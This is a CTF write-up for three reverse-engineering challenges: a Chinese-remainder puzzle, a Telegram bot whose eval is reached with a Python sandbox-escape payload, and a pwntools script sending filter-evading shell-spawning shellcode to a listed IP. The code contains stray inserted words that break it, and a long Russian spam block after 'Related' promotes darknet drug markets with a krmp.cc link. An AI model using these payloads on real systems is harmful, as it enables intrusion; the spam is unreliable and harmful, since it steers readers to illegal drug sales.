This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] tor | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) крамп return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200: This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc. After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram. There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9). First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command... So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300: Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE 2. Make a great shellcode and Bypass filter. By search google for everything, the answer for problem 1 is force-crc32. Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once. Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
Кракен сайт официальный новый krmp.cc - Офф ссылки крамп
Что такое " и что произошло с этим даркнет-ресурсом новости на сегодня " это очень крупный русскоязычный интернет-, в котором продавали. Вы легко найдете и установите приложение Onion Browser из App Store, после чего без труда осуществите беспрепятственный вход на OMG! Эта новая площадка Для входа через. Сайт, дайте пожалуйста официальную ссылку на или onion чтобы зайти. Возможность создать свой магазин и наладить продажи по России и странам СНГ. 2005 открытие торгового центра мега в Казани. Перейти можно по кнопке ниже: Перейти на Mega Что такое Мега Mega - торговая платформа, доступная в сети Tor с 2022 года. Автосалоны. Данные о Руководителях. На форуме была запрещена продажа оружия и фальшивых документов, также не разрешалось вести разговоры на тему политики. Чем опасен брутфорс. Здравствуйте дорогие читатели и владельцы кошек! Отзывы про MegaIndex от специалистов и клиентов. С компьютера. Наркологическая клиника Здравница. Мега, Белая Дача: адреса со входами на карте, отзывы, фото, номера телефонов, время. Для Android. Бот для Поиска @Mus164_bot corporation Внимание, несёт исключительно музыкальный характер и как место размещения рекламы! Английский рожок Владимир Зисман. 2 дня. Пытался себе пополнить баланс, никто ничего не зачислил. Onion рабочее зеркало Как убедиться, что зеркало OMG! Каталог голосовых и чатботов, AI- и ML-сервисов, платформ для создания, инструментов. Какие сейчас есть? Преимущества OMG! Поскольку на Омг сайте все транзакции осуществляются в криптовалюте для обеспечения их анонимности, разработчики создали опцию обмена, где можно приобрести нужное количество монет. Hydra поддержка пользователей. Ну и понятное дело, если ты зарабатывал 100 рублей в месяц, а потом твоя зарплата стала 5 рублей, а запросы остались прежние, ты начинаешь шевелить. Есть у кого мануал или инфа, как сделать такого бота наркоту продавать не собираюсь чисто. Мега российская сеть торговых центров, принадлежащих компании. Залетайте пацаны, проверено!
Основателем форума являлся пользователь под псевдонимом Darkside. ОМГ официальный Не будем ходить вокруг, да около. TJournal попробовал самые популярные средства обхода блокировок и нашёл среди них версии «для чайников» в которых всё работает сразу, без настроек. Что-то про аниме-картинки пок-пок-пок. Onion Социальные кнопки для Joomla. Требует включенный JavaScript. Форумы. Matanga - такое название выбрал себе сайт авто-продаж психоактивных веществ в нашем любимом даркнете. Данное количество может быть как гарантия от магазина. Доврачебная помощь при передозировке и тактика работы сотрудников скорой. Книжная купить по выгодной цене на АлиЭкпресс. Каталог рабочих онион сайтов (ру/англ) Шёл уже 2017й год, многие онион сайты перестали функционировать и стало сложнее искать рабочие, поэтому составил. Таблица с кнопками для входа на сайт обновляется ежедневно и имеет практически всегда рабочие Url. По своей направленности проект во многом похож на предыдущую торговую площадку. Самым простым способом попасть на сайт Mega DarkMarket является установка браузера Тор или VPN, без них будет горазда сложнее. Кроме того, была пресечена деятельность 1345 интернет-ресурсов, посредством которых осуществлялась торговля наркотиками. По его словам, при неудачном стечении обстоятельств можно попасть под удар как в России, так и на Западе. Что ж, есть несколько способов для того чтобы попасть на самый популярный тёмный рынок на территории стран СНГ. Подробнее можно прочитать на самом сайте. "Да, и сами администраторы ramp в интервью журналистам хвастались, что "всех купили добавил. Onion - abfcgiuasaos гайд по установке и использованию анонимной безопасной. Единственное, что требуется от пользователя 1 доллар за универсальную версию для всех платформ Apple. Из-за этого прекрасную идею угробили отвратительной реализацией, общая цветовая гамма выбрана в светлых тонах, но красные вставки если по замыслу создателей должны были бросаться в глаза, то здесь просто выглядят наляписто, просто потому что их много. Особенно хочу обратить ваше внимание на количество сделок совершенное продавцом. На iOS он сначала предлагает пройти регистрацию, подтвердить электронную почту, установить профиль с настройками VPN, включить его профиль в опциях iOS и только после этого начать работу. "С 27 июля по года сотрудники гунк МВД России совместно с УНК Москвы, Московской области, Санкт-Петербурга и Ленинградской области разоблачили и пресекли деятельность межрегиональной орем. Имеется возможность прикрепления файлов до. Финансы Финансы burgerfroz4jrjwt. Напоминает slack 7qzmtqy2itl7dwuu. Этот сервис доступен на iOS, Android, PC и Mac и работает по технологии VPN. После этого отзывы на russian anonymous marketplace стали слегка пугающими, так как развелось одно кидало и вышло много не красивых статей про админа, который начал активно кидать из за своей жадности. Прекратим о грустном. Количество проиндексированных страниц в поисковых системах Количество проиндексированных страниц в первую очередь указывает на уровень доверия поисковых систем к сайту. Хотя слова «скорость» и «бросается» здесь явно неуместны. Настройка сайта Гидра. Hydra больше нет! Переполнена багами! Ремикс или оригинал? Им кажется, что они вправе решать за всех. Onion mega Market ссылка Какие новые веяния по оплате есть на Мега: Разработчики Белгорода выпустили свой кошелек безопасности на каждую транзакцию биткоина. В сети существует два ресурса схожих по своей тематике с Гидрой, которые на данный момент заменили. Зато, в отличие от Onion, TunnelBear позволяет прикинуться пользователем другой страны и воспользоваться услугами, скажем, сервиса Netflix. Подобного нет практически ни у кого на всём рынке, что очень сильно выделяет данную площадку. Способ актуален для всех популярных браузеров на основе Chromium (Google, Yandex.д. Вернется ли «Гидра» к работе после сокрушительного удара Германии, пока неизвестно. Всегда работающие методы оплаты: BTC, XMR, usdt. Этот сайт упоминается в социальной сети Facebook 0 раз. Он несколько замедляет работу браузера, обещая при этом «бесплатное полное шифрование трафика а для его активации требуется ввести адрес электронной почты.